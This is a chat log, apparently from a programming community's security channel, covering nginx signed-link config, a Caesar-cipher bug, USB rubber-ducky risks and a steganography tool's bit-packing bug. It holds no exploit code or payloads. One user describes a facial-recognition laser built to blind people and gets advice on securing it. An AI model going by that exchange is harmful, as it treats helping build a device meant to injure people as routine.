than we don't need regex to match them -> Not sure where to implement this
Currently Im also able to by-pass the signing check from NGINX perspective but Django does not like the URL pattern
Thank you π I will give you some feedback if I find the magic trick
But still Im not able to by-pass nginx now for whatever reason
@flat bronze okay also solved that. Your nginx location block has to look like this in order to match the url pattern:
location ~ "/stream/[0-9a-zA-Z-=_&?]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}$" {
aio threads=default;
try_files $uri @proxy_to_app;
secure_link $arg_st,$arg_e;
secure_link_md5 "MySecretPasswordHere$uri$secure_link_expires";
if ($secure_link = "") {
return 401;
}
if ($secure_link = "0") {
return 410;
}
}
Hello,
How I can return none human readable Django api response back to frontend?
Is AVG antivirus safe for pc?
most mainstream anti viruses are fine
AVG is no exception
they will defend you in 99.999% of cases just fine
the issue is they will occupy a lot of resources
and if you have one of the less powerful machines then i would suggest just turning on windows defender and only occasionally installing AVG or other antivirus to check the system
and then delete them
Hello Everyone,
am not sure if this questions belong in this channel, but was trying to figure if there is a work around ....
trying to access a website with proxy using selenium .....
the site says proxy identified.
is there a work around for that .....
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
kinda sussy
def encrypt(string, shift):
cipher = ''
for char in string:
if char == ' ':
cipher = cipher + char
elif char.isupper():
cipher = cipher + chr((ord(char) β shift β 65) % 26 + 65)
else:
cipher = cipher + chr((ord(char) + shift - 97) % 26 + 97)
return cipher
text = input("enter string: ")
s = int(input("enter key: "))
print("original string: ", text)
print("after encryption: ", encrypt(text, s))
I get an error in this line
cipher = cipher + chr((ord(char) β shift β 65) % 26 + 65)
Saying invalid charcter
!code
Here's how to format Python code on Discord:
```py
print('Hello world!')
```
These are backticks, not quotes. Check this out if you can't find the backtick key.
What do you mean by '' ord(char) β shift''???
Just omit the dash character and put instead minus -

hello guys i need help
how can i unfrestodd if there is digit and ascii letters and punctuation in user input
i got in stuck
unfrestodd?
!e
import string
for user_input in ["abcd", "abcd01"]:
if any(character in string.ascii_letters for character in user_input):
print(f"{user_input!r} contains ascii letters")
if any(character in string.digits for character in user_input):
print(f"{user_input!r} contains ascii letters")
@lapis radish :white_check_mark: Your eval job has completed with return code 0.
001 | 'abcd' contains ascii letters
002 | 'abcd01' contains ascii letters
003 | 'abcd01' contains ascii letters
@marsh sparrow 
i will try it bro and tell you
another question
how can i compare user input with a specific column of csv file??
Is it suitable with the channel's topic? 
Generally you should do something like the code above (for example replace string.digits with the column values)
Is anyone familiar with Security Onion on here? I'm trying to use it on Windows 10.
thanks it helped me alot
it's about my site , i wanna give a input like alex and i have csv file like this
name , age
alex , 20
lara , 23
i wanna compare user input with name column in my test.csv
and if user input is in name column in test.csv
print("welcom")
i wanna do this
what?
no
Hey @marsh sparrow!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
https://paste.pythondiscord.com/xagibexeve.py
why it dont work
@lapis radish
ligma ballz
i wanna work with this but my program run in wrong way
import pandas as pd
a = "aparat"
df = pd.read_csv(a.csv)
if a in df['name']:
print("True")
This is out of scope for this channel which is dedicated to security, try to ask in #data-science-and-ml
ok
Hey
All depends on a topic
ok, but overall who knows the most
Write a question π
Will see who can answer
ok lol , nvm .thx for responding π
look wud expect that from my pfp
Feel free to ask your questions here, if someone is able to response then will do it
i actually asked this cuz i know a bit of cyber security, but not so much to detect ip adress snatching websites
there was one guy who sent a link which led to a website which stole ip addresses
so we just want to protect our server from scammer of that kind
What do you mean by stole ip address? 
so we asked for a pro
every website already steals your ip addr lol
ok it extracted ip addresses from an individual
hell, you can even just loop over all of ipv4
yes but it extracted ,not just scan.
and i think it installed malware into the individuals acc or something
hmmmmm
hhhmmm is thinking
or typing
not familiar with server moderation, but you can probably just find anti-phishing discord bots easily with a Google search
not sure if this is the right place to post this but I've designed a system that has the capability of blinding someone's eyes with a laser using facial recognition
problem is: I don't want this system somehow accidently fucking up and activating
is there any reliable way to make sure this system doesn't get hacked & activated?
the camera used for facial recognition & high powered the laser both communicate through the internet because I need to run the camera through my pc and then send a yes/no signal to the laser if the facial recognition detects someone who isn't me
unfortunately, I'm using my home internet for communication between the cameras, my computer & the laser
do you think it would be possible to create some kind of private encrypted network for this connection instead of using home internet? honestly I have no idea what solutions are available but I want to prevent the system from being exploited & used against me
also, ik all that sounds crazy lmao but this is all for testing and experimenting, I'm not planning to actually use this on anyone lol
I'm just worried about some of my networking friends using the system against me (I have set this system up in a college apartment building that mostly has students studying computing & stuff.. I'm constantly getting my stuff "hacked" by random people for fun
Just detach the power supply when you don't want it activating, no way to hack that......
I hope you don't mean blind in terms of permanent eye damage, or I strongly advise you should not be doing this project at all.
None the less what you would want to achieve is an encrypted tunnel so to speak between the devices, given you probably aren't looking for huge scale, this could just be based on a set symmetric encryption key both devices know.
Though if you want to be more advanced, you could implement some kind of asymmetric encryption system where the execute orders are signed (via private key) when sent to the laser device, so it can validate command origin.
Then put that all in the symmetric encrypted tunnel and you have a pretty safe system.
Though as far as actually implementing that, I can't help.
maybe switch the laser for a water gun?
How do you know it works, have you tested it?
!hack || everyone ||
this is very illegal as far as i know. im no lawyer though
in what way??? Sure intentionally damaging someone's eyesight would be, but simply producing a system with that capability? Fine
ok i misread the context a bit
definitely sketchy nonetheless
i think the easiest way is just to not use a high powered laser
Perhaps using just automated handkuffs, it sounds safer option
Or something similar to restrain movement
You know... Basically the thing used in subway
is there anywhere to learn the network programming with python? All the socket tutorials on YouTube give only a small amount of information upon the module
Hello π
Where can I learn penteting for free please?
@thorn obsidian @pallid nymph i dropped few resources in dms
but why? Why not send them here so others with similar questions could use them........
you could have just said "hey kinguard can you post those here so we can all make use of them" instead of coming at it like that
anyone have a favourite generic ABAC security library for authorization in a simple app ?
start with tryhackme.com and start reading up on the subjects in certifications like OSCP, CISSP or CEH
genuine question to establish whether or not there was a genuine reason or if they original sender had not considered the option, no need for you to "come at it like that" or even get involved really......
I'm just saying, you get a better response when you don't come off like that............
you appear to make the assumption I was looking for a response. Yes, one was invited if my assumptions were erroneous, but the primary goal was to pose a viewpoint that perhaps the original author had not considered, and in doing so assist them in helping more people. Ironically your comment seems to be the only one to cause conflict so far
If you don't want to allow for hacking such kind of system then don't connect it with Internet
You can create local isolated network for communication
Hi
Isolated = not connected with web
I got a question
ok so
like the it ppl at my school
They can just plug a usb into laptop
And if fixed a bunch of stuff
How would that be done?
just curious
Are you asking about creating some kind of malware?
@pallid nymph and also @thorn obsidian and @vagrant mist - rule 5
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
Yeah, right, also - rule 5 π
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
I already referred them to rule 5 lol
Try to find the answer on your own or find another server
You can also debate about this rule in #community-meta afaik 
it's just very sus when you mention usb stick > in computer > does stuff
It is amazing how many people don't relies a 'USB' can do a lot worse than just try run some executable that any modern security system should be able to stop most of the time.
Slight tangent I know, but never ever plug an unknown usb in unless you know what you are doing and probably have some kind of virtual environment, unless you are prepared to gamble.
@thorn obsidian re. the IT people fixing a PC with a USB key:
A pretty useful tool is to download a linux image with a good set of repair tools, put it on a usb key, and make the key bootable (using Rufus for example). Then you can boot the PC from it and bypass any problem with Windows while you fix disks/partitions, run file scans / virus scans, make backups etc.
any recommendations for good books for beginners
Thanks a lot
Alternatively it could be a USB rubber ducky, which is basically an automated keyboard in the shape of a USB. I could definitely see this being used for an IT system.
Indeed, or any of the million other variants.
(chose ducky because it works out of the box on most systems)
I do wonder if Windows will fix it
If a keyboard is already plugged in, confirm with user they are plugging in a keyboard warning.
Best solution I can think of which is simple.
Which area?
If you want to protect against hacking via rubber ducky or similar devices then the easiest way is to disable USB ports or block them physically
Sure but that solution is terrible. Windows could easily implement a far better one, like what I suggested.
To be clear, terrible as in tedious and inconvenient. It is a great individual level way of avoiding the issue though.
How about mouses?
Do you see a need to confirm too?
How can I confirm first device (first mouse or keyboard)?
My suggestion accounted for this.
It is safe to assume the first keyboard plugged in/latest if everything was unplugged is intended to be that.
Also yes it probably should carry over to mouses as well and any other device that automatically receives a high level of permission/control.
but now you've stopped USB from being hotpluggable
or at least not as far as the user is concerned
Only usb devices that attempt to communicate as a privileged device when such a device is already plugged in.
Additionally if you want to pick holes in a solution I came up with in 2mins you won't struggle. The point is more some option should be implemented to protect users.
aren't windows password hashes still stored with some really shitty hand rolled hash
back compat trumps security for msft
Do not put untrusted devices to your USB ports π
Basically there are problems which cannot be solved by software improvements
They can be mitigated in effective ways though.
All depends on the user... "Oh no, what a new popup? Wtf, ofc I am trusting my keyboard, moron"
Indeed, though a solution can not be ruled out completely on the argument it does not completely eradict the problem.
I prefer to educate than make another annoying popups (like GDPR popups, cookie popups and so on)
more of like an introduction to all the main concepts under computer security. a text youd read in maybe an intro class? 
I like "Applied Cryptography" (author: Bruce Schneier)
was there ever a story about a big company working on a project and one of the employees implements malicious code into the project which then does ... or that ... ?
It's hard to implement malicious code nowadays
that's a good thing
Yep
I mean that in proper workflow there should be review process when the code can be accepted or denied
but was there ever something like that happen?
From time to time bugs happen - even on production
Some time ago there was problem with MalwareBytes
It's antivirus program
There was bug which causes that MB worked like Chrome - eats as much RAM as it was possible lol
I downloaded that update with this bug which causes that I had no protection till next fix
speaking of chrome I am trying out the operagx browser
Two emojis - π₯ π¦
firefox is classic especially in Poland π
Guess the browser lol
thank you 
Check "Handbook of applied cryptography" too - https://cacr.uwaterloo.ca/hac/
This site provides order information,
updates, errata, supplementary information, chapter bibliographies,
and other information for the Handbook of Applied
Cryptography by Menezes, van Oorschot and Vanstone.
Ethical Hacking is cool
hey everyone
Hey π
Hey
Yup
Hello
how do you know what can be trusted though lol?
For example, you buy a mouse or webcam on Amazon.
Good question, donβt trust anyone lol
You can pedantically check all devices, generally I trust well know manufacturers (I donβt put names here, sorry, they donβt pay me for ads)
For example my friend bought a small usb fan from Asia and this is device which is untrusted for me
Ofc well known manufacturer can also attach a backdoor or other malicious effects but risk is lower
just treat it like a needle, if you dont know that its safe, dont stick it in
lol well you cant use a computer without a keyboard and mouse so you still have to take a bite unless you have the knowledge and skill to check all your devices
well i dont stick any random devices in
if i buy a keyboard and mouse from a reputable brand and seller i can be pretty sure that it's safe
Exactly
well people have been able to sell counterfeit sd cards on amazon so if anyone really wanted to go to the effort they could do the same for usb devices from "reputable brand and seller"
well on amazon i always look at the seller
and if it aint the manufacturer or a trusted reseller the same rules apply
sure but they have been many cases where they got the stock mixed up in warehouse
then there's alway the inspection of the package to see if what is inside was tampered with
generally the advice isnt to be paranoid but to be careful and just dont stick a random usb drive into your pc
and if you really need to, there are things you can put in between a untrusted device and your port to prevent aginst frying your pc and assigning the port to a virtual machine
yeah that is good advice, but are there any study on how many random usb devices are actually fake
for example you can use this to see if its a usb frier https://usbkill.com/products/usbkill-shield
Detect and thwart USB Power-Surge Attacks and "Juice-Jacking". TheΒ USBKill Shield detects and deflects Power Surge attacks, and also protects your devices against data exfiltration by untrusted third-party chargers. Included with every USBKill Shield: Out-of-the-box ready:ο»Ώ No assembly required Purchase Protection: Mo
and then assign the port to a vm
or even better plug it in an offline machine
don't you want to disable plug and play first? I just don't see how you can guarantee to find any issues unless you spend an huge amount of time on it such as opening the casing etc.
just build your own
how to see if an program windows is open? (ping me for answer)
._.
Hmmm, so these two numbers together are meant to describe a pixel location in an image. I don't think I decoded the second one quite right...
(436, 597138955984689933957340696741052487702073772)
Image is huuuge
Looks like a repeating pattern when encoded in hex
!e py print(hex(597138955984689933957340696741052487702073772))
@sonic drum :white_check_mark: Your eval job has completed with return code 0.
0x1ac6d1ac6d1ac6d1ac6d1ac6d1ac6d1ac6d1ac
Perhaps the number is supposed to be 428
Wait what, wow you are crazy my dude. The number is meant to be 428, though it has nothing to do with hex. Currently in addition to the binary collected which describes the 428, it currently gathers a bunch of data because the length of the key is not correctly calculated anymore in certain situations so it doesn't correctly stop at the end of the 428 binary.
So context, this is a steganographic tool which embeds data in image pixels. Each pixel has a R, G, and B value, of which each can be described by an eight digit binary number. Originally when storing data, this tool would pick one colour and then one of the 8 bits describing that colour (obviously least significant provides best results but it is an argument). This selected bit would be replaced with the desired data. I have since implemented functionality such that you can pick any combination from 1 bit to all 8 bits in the one selected colour of a pixel to modify. Yet data extraction relies on a special calculation that figures out the number of pixels required to be read to pull the above key coordinates which describe the final data location. This calculation still thinks only one bit can exist per pixel, even though the function to extract the data can pull as many bits as are specified to be stored. So the result is this key being way longer than it should be.
Here is an image which shows modifying all 8 bits of the green colour for an entire image by the way:
Unfortunately this bug is not as easy as going: Key_length_calculation divided by number_index_locations_per_pixel. This is because in the final pixel, the first stored bit might be the last bit of the key and the next bit in that pixel might be the start of the data.
So this has proved a horribly annoying bug to really address, particularly as when I originally wrote this code, I didn't consider that I might want to implement this new functionality. This is also pretty painful to troubleshoot and the code overall is relatively lengthy and complex.
Unrelated really cool note about this steganographic tool, unlike conventional methods of storing data in images that go across the pixels left to right, top to bottom, mine uses the image, a key argument, and the data of a bunch of pixels to determine a unique order of locations. So removing our noise argument, data is actually attached something like this:
Also note, if I only modify insignificant binary, you never see anything!
Basically when you have RGB which is 24 bits then you can save in each pixel 6 bits of data (2 bits per each colour)
r, g, b = pixel
data = ((r & 0x3) << 4) | ((g & 0x3) << 2) | ((b & 0x3) << 0)
Something like that 
Or
r, g, b = pixel
data = 0x00
for i, v in enumerate([r, g, b]):
v &= 0x03
data <<= 2
data |= v
I am not hardcoding a specific way of modifying the pixels. I am giving users the power to select which colours are modified and which of the 8 bits in the given colours is modified. They could easily pick the two least significant bits for all three colours if they wanted.
You can try to pack more data than 2 bits per pixel but it probably destroy the original image
I let the user decide via arguments.
Okay, then you are loosing some space to save this information, right?
No, it is on the user to remember the way they specified.
The only none data information I store is data for the final data location.
TrueCrypt format for example has only header-less format and it's awful
I like to have a switch to on and off this option
LUKS has this feature afaik
You should think about that
You must store the location of the final data point, unless you were to fill the entire image with data.
The only other solution would be to have a special endpoint designator, which is a worse approach in my eyes and more difficult to implement/understand.
From my point of view you can create a map where are sectors on an image which contains data and put this mapping at the start of the image
Alternatively you can store this map in another file
Also - keep notice that editing not least significant bits of an image but most significant bits will causes visual errors
It doesn't cause visual errors, it is just far more noticeable in most images.
Also the image itself and a key argument (which defaults to a certain key otherwise) together create the correct list of how all the data is ordered.
You can't really create a map as the order is more of less a shuffle of all possible locations. You can't reasonable say this part of the image is where all data is.
Sometimes you can by analysing neighbor bits
I mean not all data but this pixel can be malformed
If you have the original image, yes you could notice some bits are a fraction of a different colour. You would still need to bruteforce the order of each of the bits and somehow account for the fact that even though some pixels now have data, they still may have not actually changed in colour at all, as the original and new data matched. If you knew this tool was used, then you would still need to bruteforce the key (and number of additional key pixels) to extract the correct order. Also note, this tool has an option to fill the remaining data points with noise.
If you have original image then you just know which bits were changed lol π
I am talking about probability that this bit could be malformed by analysing neighbor bits
Like chance is 84.3% or chance is 0.31%
I don't have a clue what you mean when you say this.
Having the original image alone would not at all allow you to just read the attached data.
This is not a conventional image steg tool.
Imagine that you have photo of person on a background which is one colour - you can analyse bits with same colour and try to find some distortions
Oh so it is what I originally assumed. Then no, identifying some pixels are slightly different would not by itself allow you to extract the original data.
Given the points I specified: Some pixels with data won't change, the order of the data is unknown, and the whole image can be filled with noise.
Sometimes you don't want to extract hidden informations but destroy them π
Sure they could destroy it, very easily.
Depending on the image used anyway (unless we are assuming they always have the original).
Though honestly that isn't something I am going to bother accounting for. The way to account for that would be to fundamentally not attach data to images in the way I am.
Is SQL Injection basically the only way a login page can be bypassed?
no
i would give a better answer but really most attack techniques could accomplish that in one sense or another
No it isn't encrypted
Nah, broken authentication, there are some ways you can do it with XSS @errant heath
Ok thanks. Is there a good way or some service that provides insights in possible security risks in web based apps (Flask)?
Hi. I am looking in to doing a project on making botnet detection better. Is there any place I should look for datasets and other resources to help me do the project?
Also, is there any specific part/method of botnet detection that I should focus on implementing or improving?
omg. Azure Linux machines appear to be with vulnerable pre installed agent.
https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution
So if I do have a copy of your program I can trivially retrieve hidden data
If you have the image and know the settings (including the key) used to order how the data is attached.
The key is used as a variable such that people have an easy way to change the order of data locations for the same image. This key has absolutely no impact on the data itself, so the data is not encrypted. You could if you wanted obviously encrypt the data first.
I would argue that's still encryption
I wouldn't fault you for that, it is a grey area as far as definitions.
I had a think about your suggestion around headers, I have actually decided I will attach all settings except the key as a header. I think it will be more user friendly and with the size of images, the space for data lost to store settings data is insignificant.
I also won't bother with a headerless mode as that is more annoying to implement on my website and would likely just leave people confused. Especially given I need to then handle if heading data exists or not. Also the key can't be in the header data as the key itself would also determine the locations of the header data (unless I did fixed locations which would be terrible).
One interesting thought by the way, part of the reason I like having the key is that you can then bruteforce a key where attaching the data does not actually change the image at all, as the bits of data being attached match the data they are replacing. This was the original idea that inspired the whole tool.
Can you elaborate? What do you want to protect and so on?
Microsoft and backdoors, who could guess... 
Headerless version need to return header (like JSON file) and image with hidden data so yes, it can be confused for some users
Are you working on some console-like program?
Looks pretty!
However I am big fan of CLI programs lol
I am afraid of leaving my terminal
Cheers, has been a lot of work. Well all my code is open source, you could take the Python file for a given tool and interface with it with a little code through a CLI.
I just hate CLI myself
CLI programs can be easily automated so... big thumb up from me π
Anyway, kinda offtopic here
Technically steg is security π
I am talking about advantages and disadvantages of CLI-like interfaces π Steganography is okay here π
